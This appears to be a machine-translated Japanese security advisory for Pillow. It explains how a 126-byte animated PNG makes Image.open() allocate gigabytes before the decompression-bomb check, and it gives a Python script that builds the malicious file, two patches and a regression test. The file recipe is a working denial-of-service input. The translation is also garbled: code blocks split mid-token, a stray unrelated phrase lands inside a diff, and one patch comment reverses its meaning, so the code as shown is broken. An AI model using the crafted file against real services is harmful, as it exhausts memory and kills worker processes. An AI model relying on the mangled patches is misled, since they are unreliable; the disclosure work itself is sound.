Pillow: APNGの背景処理において、解凍爆弾のチェック前に、フルサイズのキャンバスを割り当てています。
```
============================================================================
APNGの背景処理において、解凍爆弾のチェック前に、フルサイズのキャンバスを割り当てています。
場所: src/PIL/PngImagePlugin.py:1000 in PngImageFile._seek()
コミット: a707c6b21c313880d0771e54965d142dd42358b6
============================================================================
```
126バイトのサイズのアニメーションPNGファイルを使用すると、Pillowの`Image.open()`関数が、ファイルが主張する画像サイズに基づいてメモリを割り当て、それを埋め込みます。この処理は、Pillowの組み込みの、画像サイズが大きすぎるかどうかのチェックが行われる前に実行されます。例えば、22000×22000ピクセルの画像を主張するファイルの場合、約1.9GBのメモリを消費します。デフォルト設定で、`load()`のような追加の関数呼び出しなしで、アプリケーションが提供した画像を開くことができるユーザーは、ファイル1つあたり、数ギガバイトのメモリ使用量の急増を引き起こす可能性があります。もし、主張されるサイズが、システムの空きメモリを超えている場合、オペレーティングシステムはプロセスを強制終了します。
この問題は、`src/PIL/PngImagePlugin.py`の`PngImageFile._seek()`関数(約1000行目)にあります。APNGファイルの場合、`_open()`関数は`self._seek(0)`を呼び出します。最初の`fcTL`チャンクが`OP_BACKGROUND`の処理を要求すると、`_seek()`関数は、`Image.core.fill(self.mode, self.size)`を呼び出し、これは、幅×高さ×4バイトのメモリを割り当て、ゼロで埋めます。`OP_PREVIOUS`も同様の処理を行います。なぜなら、フレーム0がそれを`OP_BACKGROUND`に書き換えるからです。これらの処理はすべて、プラグインファクトリ内で行われるため、`Image.open()`関数の`_decompression_bomb_check(im.size)`は、メモリが使用された後にのみ実行されます。1×1のフレームの矩形は、途中で行われるチェックをすべて通過します。
利用可能なメモリ領域の下では、割り当てられたメモリは、`DecompressionBombError`が発生すると解放されます。そのため、継続的な負荷をかけるには、繰り返しまたは並行してアップロードを行う必要があります。45000×45000ピクセルのヘッダーがあると、8GBのホスト環境で、メモリ不足によってプロセスが強制終了されることがあります。添付の再現スクリプトは、1バイトだけ異なる2つのファイルを開きます(`dispose_op`が0または1)。どちらも`DecompressionBombError`で終了しますが、ピーク時のメモリ使用量は、最初のファイルでは17MB、2番目のファイルでは1864MBです。この「積極的なメモリ確保」は、5e4e0fa6ee67 ("Use disposal settings from previous frame", 2020年12月)で導入され、8.1.0で初めてリリースされました。回帰テストを含む、候補となる修正プログラムが2つ添付されています。
## 詳細
APNGファイルで、最初の`fcTL`チャンクが`OP_BACKGROUND`のディスポーズ方法を要求する場合、`PngImageFile._open()`は、IHDRで宣言されたサイズ全体を持つコア画像を生成し、ゼロで埋めます。これはプラグインファクトリ内で行われ、つまり`Image.open()`が`_decompression_bomb_check(im.size)`に到達する前に発生します。そのため、何も割り当てずに大きなヘッダーを拒否することを目的としたチェックは、割り当てが行われた後にのみ実行されます。
以下の126バイトのファイル(すべてのチャンクの長さとCRCは有効)を使用すると、デフォルトの`MAX_IMAGE_PIXELS`で`Image.open(io.BytesIO(data))`を呼び出し、`load()`を使用しない場合、1.86GBのメモリ(`ru_maxrss`)を使用し、その後`DecompressionBombError`が発生します。`dispose_op=0`で同じ内容のファイルを使用すると、同じエラーが17MBで発生します。
```
IHDR width=22000 height=22000 bit_depth=8 colour_type=6 (RGBA)
acTL num_frames=2 num_plays=0
fcTL seq=0 w=1 h=1 x=0 y=0 delay=1/10 dispose_op=1 (OP_BACKGROUND) blend_op=0
IDAT zlib(00 00 00 00 00) # one 1x1 RGBA scanline
IEND
```
`width=height=45000`(8.1GBのキャンバス)の場合、同じ呼び出しで、メモリの完全な割り当てが試みられます。4GiBの`RLIMIT_AS`を設定すると、`DecompressionBombError`ではなく、アロケータから`MemoryError`が発生します。制限がない場合、8GBのホスト環境でスワップを使用しない場合、プロセスはメモリ不足によって強制終了されます。
### コードパス
`Image.open()` 関数は、プラグインのコンストラクタ(そして `_open()` 関数)が完了した後にのみ、爆弾チェックを実行します。
```python
# src/PIL/Image.py:3699-3701
im = factory(fp, filename)
_decompression_bomb_check(im.size)
return im
```
単純なPNGファイルの場合、この順序で問題ありません。`PngImageFile._open()` 関数は、最初の `IDAT` チャンクまでの部分のみを解析し、`IHDR` から `self._size` を取得します。この時点でメモリは何も割り当てられません。APNGファイルの場合(`acTL` が検出され、`im_n_frames` が設定される)、`_open()` 関数はさらにフレーム0に移動します。
```python
# src/PIL/PngImagePlugin.py:845-853
if self.png.im_n_frames is not None:
…
self._seek(0)
```
`_seek(0)` 関数は、`fcTL` チャンクから `disposal` と `bbox` を `self.dispose_op` / `self.dispose_extent` にコピーし、次に表示するフレームのために、画像全体を使用して、破棄画像を事前に準備します。
```python
# src/PIL/PngImagePlugin.py:991-1001
if self._prev_im is None and self.dispose_op == Disposal.OP_PREVIOUS:
self.dispose_op = Disposal.OP_BACKGROUND
self.dispose = None
if self.dispose_op == Disposal.OP_PREVIOUS:
…
elif self.dispose_op == Disposal.OP_BACKGROUND:
self.dispose = Image.core.fill(self.mode, self.size)
self.dispose = self._crop(self.dispose, self.dispose_extent)
```
`Image.core.fill` は、`src/_imaging.c:711` の `_fill()` 関数であり、`ImagingNewDirty(mode, xsize, ysize)` を実行した後、`ImagingFill()` を呼び出します。`ImagingFill` (`src/libImaging/Fill.c:23`) は各行を書き込むため、`width*height*4` バイト全体がメモリ上に展開され、単に予約されるだけではありません。ここで `self.size` は、IHDR のサイズ(22000×22000)を指しており、1×1 のフレーム領域ではありません。次の行の `_crop` 関数は `_decompression_bomb_check` を呼び出しますが、これは `fcTL` の領域(1×1)に対してのみであり、かつ塗りつぶしが完了した後です。991-992 行では、フレーム 0 の `OP_PREVIOUS` を `OP_BACKGROUND` に書き換えており、そのため `dispose_op=2` も同じ処理を行います(検証済み:ピーク使用量は同じ 1.86 GB)。最初の `fcTL` 領域が大きい場合、`_crop` によるコピーは、キャンバス全体を塗りつぶした領域の上に、さらに extent サイズのバッファを配置するため、一時的なピーク使用量はキャンバスの約 2 倍になる可能性があります。例えば、13000×13000 のフルフレームの `fcTL` 領域(エラー閾値以下であるため、`Image.open()` は `DecompressionBombWarning` のみで成功します)の場合、ピーク使用量は 1.31 GB になり、キャンバスのサイズが 0.66 GB の場合に発生します。
`chunk_fcTL` に適用される唯一の検証は (`src/PIL/PngImagePlugin.py:740-745`)、フレームの領域が IHDR のサイズ内に収まっているかという点であり、1×1 のフレームは常にこの条件を満たします。この時点では、IHDR の幅と高さは制約のない 32 ビットの値です。その後、制御は `_open_core` に戻り、`_decompression_bomb_check((22000, 22000))` が呼び出され、半分の状態で構築された `PngImageFile` が破棄される際に、1.9 GB のコアイメージが解放されます。
`_seek()` 関数における、フルサイズの早期塗りつぶしは、`5e4e0fa6ee67` ("Use disposal settings from previous frame", 2020-12-24) で導入され、8.1.0 で初めてリリースされました。それ以前は、`OP_BACKGROUND` による塗りつぶしは `load_end()` 関数内で行われており、`Image.open()` から直接アクセスできませんでした。
## 影響
`Image.open()`関数を、信頼できないデータに対して、デフォルト設定で呼び出すアプリケーションは、脆弱性を持つ可能性があります。具体的には、decompression-bomb(データ圧縮爆弾)チェックが有効になっているはずの設定でも、攻撃者が用意した約126バイトのPNGファイルをアップロードする際に、エラーが発生する前に、攻撃者が指定した量のメモリが割り当てられ、書き込まれる可能性があります。この割り当て量は、IHDRの幅と高さ(カラータイプ6の場合、1ピクセルあたり4バイト)によって直接決定されます。ホストの空きメモリよりも小さい値を設定すると、リクエストごとに一時的に数GBのメモリ使用量が増加し(約22000×22000ピクセルで、約15,000,000倍の増幅)、例外が発生した際に解放されます。そのため、継続的なまたは繰り返しのアップロードが必要になります。一方、空きメモリよりも大きい値を設定すると、ワーカープロセスが強制終了される可能性があります。PNGファイルは、基本的にすべてのアップロードパイプラインで受け入れられ、このファイルは、正しくフォーマットされたAPNGとして、`_accept`およびチャンクのCRCチェックをパスします。
これは、最近追加されたWMF(異なるDPIで読み込み)、FITS、GIF、およびFontFileに対するbomb-checkと同様の脆弱性です。ファイルで宣言された数値に基づいてメモリが割り当てられますが、`_decompression_bomb_check`がカバーしていないパスで発生します。しかし、ここでは、問題が発生するパスは、`load()`/`seek()`ではなく、`Image.open()`関数自体です。
## 再現方法
`repro`は、単一のPythonスクリプトです(コンパイルや関連ファイルは不要)。このスクリプトは、メモリ内で2つのPNGファイルを生成し、それぞれを`Image.open(io.BytesIO(data))`で開き、デフォルト設定を使用し、`load()`は使用しません。そして、各プロセスは発生した例外と、自身の最大RSS(常駐セットサイズ)を報告します。このスクリプトを実行するには、約2GBの空きRAMが必要で、実行時間は約1秒です。
2つのファイルはどちらも126バイトで、正確に1バイトだけ異なっています。それは、最初の`fcTL`チャンクの`dispose_op`の値です。コントロール用のファイルでは`0`(`OP_NONE`)、攻撃用のファイルでは`1`(`OP_BACKGROUND`)です。どちらもIHDRで22000×22000のRGBAとして宣言されています。これは484メガピクセルで、`MAX_IMAGE_PIXELS`の2倍の閾値を超えているため、`Image.open()`は両方のファイルを`DecompressionBombError`で拒否する必要があります。各チャンクには、それぞれ役割があります。
- `acTL`チャンク(2フレーム)により、`_open()`関数が`_seek(0)`を呼び出されます。
- 1×1の`fcTL`矩形は、`chunk_fcTL`の境界チェックと`_crop`の爆弾チェックを通過します。
- 1行分の`IDAT`データにより、ヘッダーの解析が終了します。
このツリーでの期待される出力:
```
126バイトのAPNGファイルが、22000x22000のRGBA画像を宣言。`Image.open(BytesIO(data))`を実行(デフォルト設定)。
control dispose_op=0 OP_NONE -> DecompressionBombError、ピークメモリ使用量:17 MB
attack dispose_op=1 OP_BACKGROUND -> DecompressionBombError、ピークメモリ使用量:1864 MB
`Image.open()`は、爆弾チェックが実行される前に、22000x22000のキャンバス全体にアクセスしました。
BUG
```
両方のファイルは拒否されますが、`control`はインタープリタのサイズで拒否されます。`attack`ファイルは、`Image.core.fill("RGBA", (22000, 22000))`が約1.9 GBのメモリを割り当ててゼロで埋めるまで、爆弾チェックに到達しません。スクリプトは、`attack`の子プロセスのピークメモリ使用量が1000 MB以上で、かつ`control`の20倍以上である場合、または`attack`の子プロセスが`SIGKILL`によって終了した場合(例えば、小規模なホストでのOOMキラーによって)に、`BUG`と出力します。それ以外の場合は、`OK`と出力します。いずれのパッチを適用しても、両方のプロセスは約17〜22 MBのメモリを使用し、スクリプトは`OK`と出力します。
割り当てられるメモリ量はヘッダーのサイズに依存するため、スクリプト内の`SIZE`を変更することで調整できます。45000×45000の場合(8.1 GBのキャンバス)は、詳細に記載されており、スクリプトの範囲外です。
## 推奨される修正
`_open()`関数中に、宣言されたサイズに基づいて`OP_BACKGROUND`の破棄画像を構築しないでください。2つの代替パッチが添付されています。どちらも`src/PIL/PngImagePlugin.py`のみを変更し、両方とも`Tests/test_file_apng.py`に同じ回帰テストを追加します(2³¹−1 × 1のAPNGファイルをメモリ上に構築し、最初のフレームを1×1の`OP_BACKGROUND`として設定すると、`Image.open()`が`DecompressionBombError`を発生させる必要があります。現在のツリーでは、最初に`MemoryError`が発生します)。添付されたパッチ1が推奨される修正です。
**添付されたパッチ1** は、描画処理を、`_seek()` 関数の `frame > 0` ブランチの直後、つまり `self.load()` の実行後という、唯一の利用箇所に移動します。`self.load()` は、`Image.open()` が正常に終了し(爆弾チェックが通過)、キャンバスが確保された場合にのみ実行されます。また、`GifImagePlugin` がすでに実施しているように、描画対象を、トリミングされる前のフルキャンバスではなく、前のフレームのトリミング範囲のみにします。
```diff
--- a/src/PIL/PngImagePlugin.py
+++ b/src/PIL/PngImagePlugin.py
@@ -931,6 +931,13 @@ class PngImageFile(ImageFile.ImageFile):
# 前のフレームが読み込まれていることを確認
self.load()
+ if self.dispose_op == Disposal.OP_BACKGROUND:
+ # ここで作成するのは、宣言された画像サイズから、
+ # Image.open() で行われる圧縮爆弾チェックが実行される前に、
+ # 何も割り当てられないようにするためです。
+ # 前のフレームのトリミング範囲のみをクリアします。
+ x0, y0, x1, y1 = self.dispose_extent
+ self.dispose = Image.core.fill(self.mode, (x1 - x0, y1 - y0))
if self.dispose:
self.im.paste(self.dispose, self.dispose_extent)
self._prev_im = self.im.copy()
@@ -996,9 +1003,6 @@ class PngImageFile(ImageFile.ImageFile):
if self._prev_im:
self.dispose = self._prev_im.copy()
self.dispose = self._crop(self.dispose, self.dispose_extent)
- elif self.dispose_op == Disposal.OP_BACKGROUND:
- self.dispose = Image.core.fill(self.mode, self.size)
- self.dispose = self._crop(self.dispose, self.dispose_extent)
```
その時点では、`self.dispose_op` と `self.dispose_extent` はまだ前のフレームの値(`_seek` の下で再割り当てされます)を保持しており、したがって、破棄の動作は変更されていません。`OP_PREVIOUS` のコピーは、`load_end()` が `_prev_im` に直接データを書き込むため(`src/PIL/PngImagePlugin.py:1110`)、依然として即時破棄されます。この修正により、`Image.open()` は宣言されたサイズから何も割り当てず、`DecompressionBombWarning` の範囲内も含まれます。
**添付の修正パッチ2** は、`_seek()` での即時破棄の設定を維持し、`GifImagePlugin._seek()` の `OP_BACKGROUND` の処理を完全に模倣する、より小さな変更です。具体的には、`fcTL` の長方形のサイズを計算します(`chunk_fcTL` によって既に画像内に収まっていることが検証されています)。次に、`Image._decompression_bomb_check()` を実行し、`self.size` を設定してトリミングする代わりに、そのサイズだけの画像を生成します。また、`dispose_extent` の注釈を `tuple[int, int, int, int]` に絞り込み、`DecompressionBombError` のチェックが型チェックを通過するようにしています。トレードオフは、最初のフレーム全体が `Image.open()` 内で、最大で約 2 倍の `MAX_IMAGE_PIXELS` × 4 バイト(`DecompressionBombWarning` 付きの 13000×13000 の `fcTL` の場合、約 660 MB)のサイズで、爆弾チェックされた画像が割り当てられることです。また、エラー閾値を超える範囲をカバーする最初の `fcTL` が存在する場合、`Image.open()` 自身のチェックではなく、`_seek(0)` から `DecompressionBombError` が発生します。
どちらのパッチをクリーンなリポジトリに適用した場合、再現テストは `OK` を出力し、`Tests/images/apng/` にある 54 個のファイルが、巻き戻し後も含めて、フレームごとに完全に同一のバイト列でデコードされます。
## 修正内容 (1/2)
次のフレームを読み込む際に、APNG の `OP_BACKGROUND` の破棄画像を、フレームの範囲に合わせて作成します。これは、IHDR のサイズに基づいて `_open()` で行うのではなく、`_seek()` で行います。
これは、上記のコミットにおける `src/PIL/PngImagePlugin.py` に適用されます。
```diff
diff --git a/Tests/test_file_apng.py b/Tests/test_file_apng.py
index 15689476c..6e61c8b4b 100644
--- a/Tests/test_file_apng.py
+++ b/Tests/test_file_apng.py
@@ -161,6 +161,37 @@ def test_apng_dispose_op_background_p_mode() -> None:
assert im.size == (128, 64)
+def test_apng_dispose_op_background_decompression_bomb() -> None:
+ # ディスパル画像は、Image.open() 内のデコンプレッション・ボムのチェックが行われる前に、宣言された画像サイズから作成されるべきではない。
+ # この幅のキャンバスは割り当てることができないため、割り当てを試みると、DecompressionBombError ではなく MemoryError が発生する。
+ o16 = PngImagePlugin.o16
+ o32 = PngImagePlugin.o32
+
+ b = BytesIO()
+ b.write(PngImagePlugin._MAGIC)
+ PngImagePlugin.putchunk(b, b"IHDR", o32(2**31 - 1), o32(1), b"\x08\x06\x00\x00\x00")
+ PngImagePlugin.putchunk(b, b"acTL", o32(2), o32(0))
+ PngImagePlugin.putchunk(
+ b,
+ b"fcTL",
+ o32(0), # シーケンス番号
+ o32(1), # 幅
+ o32(1), # 高さ
+ o32(0), # X オフセット
+ o32(0), # Y オフセット
+ o16(1), # 遅延分子
+ o16(10), # 遅延分母
+ bytes([PngImagePlugin.Disposal.OP_BACKGROUND, PngImagePlugin.Blend.OP_SOURCE]),
+ )
+ PngImagePlugin.putchunk(b, b"IDAT")
+ PngImagePlugin.putchunk(b, b"IEND")
+
+ with pytest.raises(Image.DecompressionBombError):
+ Image.open(b)
+
+
def test_apng_blend() -> None:
with Image.open("Tests/images/apng/blend_op_source_solid.png") as im:
assert isinstance(im, PngImagePlugin.PngImageFile)
diff --git a/src/PIL/PngImagePlugin.py b/src/PIL/PngImagePlugin.py
index 0eb2fd5e4..24fa587c1 100644
--- a/src/PIL/PngImagePlugin.py
+++ b/src/PIL/PngImagePlugin.py
@@ -931,6 +931,13 @@ class PngImageFile(ImageFile.ImageFile):
# ensure previous frame was loaded
self.load()
+ if self.dispose_op == Disposal.OP_BACKGROUND:
+ # ここで作成される
```
彼女よりも前の_seek()関数で、
+ # 宣言された画像サイズから、Image.open()での圧縮爆弾チェックが実行される前に、
+ # 何も割り当てられないようにする。
+ # 以前のフレームの範囲のみを破棄する。
+ x0, y0, x1, y1 = self.dispose_extent
+ self.dispose = Image.core.fill(self.mode, (x1 - x0, y1 - y0))
if self.dispose:
self.im.paste(self.dispose, self.dispose_extent)
self._prev_im = self.im.copy()
@@ -996,9 +1003,6 @@ class PngImageFile(ImageFile.ImageFile):
if self._prev_im:
self.dispose = self._prev_im.copy()
self.dispose = self._crop(self.dispose, self.dispose_extent)
- elif self.dispose_op == Disposal.OP_BACKGROUND:
- self.dispose = Image.core.fill(self.mode, self.size)
- self.dispose = self._crop(self.dispose, self.dispose_extent)
def tell(self) -> int:
return self.__frame
```
## パッチ (2/2)
PngImageFile._seek()関数において、APNGのOP_BACKGROUNDによる破棄処理で、IHDRサイズ全体のキャンバスではなく、fcTLの範囲のみを塗りつぶすように変更。圧縮爆弾チェックもfcTLの範囲のみに適用。
上記コミットの`src/PIL/PngImagePlugin.py`に適用。
```diff
diff --git a/Tests/test_file_apng.py b/Tests/test_file_apng.py
index 15689476c..6e61c8b4b 100644
--- a/Tests/test_file_apng.py
+++ b/Tests/test_file_apng.py
@@ -161,6 +161,37 @@ def test_apng_dispose_op_background_p_mode() -> None:
assert im.size == (128, 64)
+def test_apng_dispose_op_background_decompression_bomb() -> None:
+ # ディスパージ画像は、Image.open() 内のデコンプレッション・ボムのチェックが行われる前に、宣言された画像サイズから作成されるべきではない。
+ # この幅のキャンバスは割り当てることができないため、割り当てを試みると、DecompressionBombError ではなく MemoryError が発生する。
+ o16 = PngImagePlugin.o16
+ o32 = PngImagePlugin.o32
+
+ b = BytesIO()
+ b.write(PngImagePlugin._MAGIC)
+ PngImagePlugin.putchunk(b, b"IHDR", o32(2**31 - 1), o32(1), b"\x08\x06\x00\x00\x00")
+ PngImagePlugin.putchunk(b, b"acTL", o32(2), o32(0))
+ PngImagePlugin.putchunk(
+ b,
+ b"fcTL",
+ o32(0), # シーケンス番号
+ o32(1), # 幅
+ o32(1), # 高さ
+ o32(0), # X オフセット
+ o32(0), # Y オフセット
+ o16(1), # 遅延分子
+ o16(10), # 遅延分母
+ bytes([PngImagePlugin.Disposal.OP_BACKGROUND, PngImagePlugin.Blend.OP_SOURCE]),
+ )
+ PngImagePlugin.putchunk(b, b"IDAT")
+ PngImagePlugin.putchunk(b, b"IEND")
+
+ with pytest.raises(Image.DecompressionBombError):
+ Image.open(b)
+
+
def test_apng_blend() -> None:
with Image.open("Tests/images/apng/blend_op_source_solid.png") as im:
assert isinstance(im, PngImagePlugin.PngImageFile)
diff --git a/src/PIL/PngImagePlugin.py b/src/PIL/PngImagePlugin.py
index 0eb2fd5e4..0111a17d7 100644
--- a/src/PIL/PngImagePlugin.py
+++ b/src/PIL/PngImagePlugin.py
@@ -985,7 +985,7 @@ class PngImageFile(ImageFile.ImageFile):
msg = "image not found in APNG frame"
raise EOFError(msg)
if dispose_extent:
- self.dispose_extent: tuple[float, flo
```
```
at, float, float] = dispose_extent
+ self.dispose_extent: tuple[int, int, int, int] = dispose_extent
# フレームの破棄処理の準備 (実際の破棄は、後続の _seek() メソッドで必要に応じて行われる)
if self._prev_im is None and self.dispose_op == Disposal.OP_PREVIOUS:
@@ -997,8 +997,14 @@ class PngImageFile(ImageFile.ImageFile):
self.dispose = self._prev_im.copy()
self.dispose = self._crop(self.dispose, self.dispose_extent)
elif self.dispose_op == Disposal.OP_BACKGROUND:
- self.dispose = Image.core.fill(self.mode, self.size)
- self.dispose = self._crop(self.dispose, self.dispose_extent)
+ # このフレームでは、宣言されたサイズ全体を塗りつぶすのではなく、指定された範囲のみを破棄する。
+ # Image.open() が実行される前に、Pillow のデコンプレッション・ボム チェックが行われるのを防ぐため。
+ x0, y0, x1, y1 = self.dispose_extent
+ dispose_size = (x1 - x0, y1 - y0)
+
+ Image._decompression_bomb_check(dispose_size)
+ self.dispose = Image.core.fill(self.mode, dispose_size)
def tell(self) -> int:
return self.__frame
```
## 再現手順
<details>
<summary>再現手順 — <code>repro</code>、3,564 バイト (開くにはクリック)</summary>
このスクリプトの最終行が、問題が発生すると `BUG`、発生しない場合は `OK` と表示されます。クリーンな状態のそのコミットで再実行すると、`BUG` と表示されました。
```python
#!/usr/bin/env python3
"""
Image.open() で 126 バイトの APNG を開くと、ヘッダーで宣言されたサイズ全体のキャンバスが
Pillow のデコンプレッション・ボム チェックによって拒否される前に、割り当てられ、ゼロで埋められます。
この問題を引き起こす 2 つの PNG ファイルを作成します。これらは、最初の fcTL
チャンクの dispose_op の 1 バイトを除いて、完全に同一です。
control: dispose_op = 0 (OP_NONE)
attack: dispose_op = 1 (OP_BACKGROUND)
```
両方とも22000x22000のRGBA形式(484メガピクセル、2 * MAX_IMAGE_PIXELSのエラー閾値を超える)であるため、Image.open()は両方をDecompressionBombErrorで拒否する必要があります。このチェックは、拒否処理を効率的に行うために存在します。攻撃ファイルの場合、PngImageFile._open() -> _seek(0)は最初にImage.core.fill(mode, (22000, 22000))を実行し、約1.9GBのデータにアクセスした後、爆弾チェックが行われます。
各ファイルは、自身のピークRSS(常駐セットサイズ)を報告する、新しいインタプリタで開かれます。
"""
import struct
import subprocess
import sys
import zlib
SIZE = 22000 # 22000 * 22000 * 4 bytes = 1.94 GBのキャンバス
def chunk(cid, data):
crc = zlib.crc32(cid + data)
return struct.pack(">I", len(data)) + cid + data + struct.pack(">I", crc)
def build_apng(dispose_op):
ihdr = struct.pack(">IIBBBBB", SIZE, SIZE, 8, 6, 0, 0, 0) # 8ビットRGBA
actl = struct.pack(">II", 2, 0) # アニメーション:2フレーム -> _open()が_seek(0)を呼び出す
# フレーム0:シーケンス0、(0,0)の1x1の矩形(fcTLの境界チェックを通過)、
# 遅延1/10秒、テスト対象のdispose_op、ブレンド操作0
fctl = struct.pack(">IIIIIHHBB", 0, 1, 1, 0, 0, 1, 10, dispose_op, 0)
idat = zlib.compress(b"\x00" + b"\x00\x00\x00\x00") # 1x1のRGBAスキャンライン
return (b"\x89PNG\r\n\x1a\n" + chunk(b"IHDR", ihdr) + chunk(b"acTL", actl)
+ chunk(b"fcTL", fctl) + chunk(b"IDAT", idat) + chunk(b"IEND", b""))
# アプリケーションが信頼できないアップロードに対して行うこと:デフォルト設定でImage.open()を実行し、load()は実行しない。結果とこのプロセスのピークRSS(MB単位)を出力する。
OPEN_UNTRUSTED = """
import io, resource, sys
from PIL import Image
try:
Image.open(io.BytesIO(sys.stdin.buffer.read()))
outcome = "opened"
except Exception as e:
outcome = type(e).__name__
print(outcome, resource.getrusage(resource.RUSAGE_SELF).ru_maxrss // 1024)
"""
```
def open_in_child(data):
p = subprocess.run([sys.executable, "-c", OPEN_UNTRUSTED], input=data,
capture_output=True, timeout=60)
if p.returncode == -9: # SIGKILL: メモリ不足でプロセスが強制終了した場合 -- こちらもバグ
return "oom-killed(rc=-9)", None
if p.returncode != 0: # 他のエラーは、ハッチングの失敗であり、証拠ではない
print(p.stdout.decode(), p.stderr.decode(), sep="\n")
print("子プロセスが予期せず失敗しました (rc=%d)" % p.returncode)
print("OK")
sys.exit(1)
outcome, peak_mb = p.stdout.split()
return outcome.decode(), int(peak_mb)
control = build_apng(dispose_op=0)
attack = build_apng(dispose_op=1)
c_outcome, c_mb = open_in_child(control)
a_outcome, a_mb = open_in_child(attack)
print("%dバイトのAPNGファイルが%dx%dのRGBA画像であることを宣言; Image.open(BytesIO(data)), デフォルト設定"
% (len(attack), SIZE, SIZE))
print(" control dispose_op=0 OP_NONE -> %-22s peak RSS %5s MB" % (c_outcome, c_mb))
print(" attack dispose_op=1 OP_BACKGROUND -> %-22s peak RSS %5s MB" % (a_outcome, a_mb))
# 期待される結果: 両方とも、インタプリタのサイズ程度で拒否される。バグ: 攻撃ファイルが、
# 「安価」な拒否処理で、フルサイズのキャンバスを使用したり、プロセスを強制終了させたりする。
if a_mb is None or (a_mb >= 1000 and a_mb >= 20 * c_mb):
print("Image.open()が、爆弾チェックが実行される前に、フルサイズの%dx%dのキャンバスにアクセスしました"
% (SIZE, SIZE))
print("BUG")
else:
print("OK")
```
---
影響を受けるパッケージ:
- pip (Python) Pillow: 影響を受けるバージョン >= 8.1.0, < 13.0.0、修正されたバージョン 13.0.0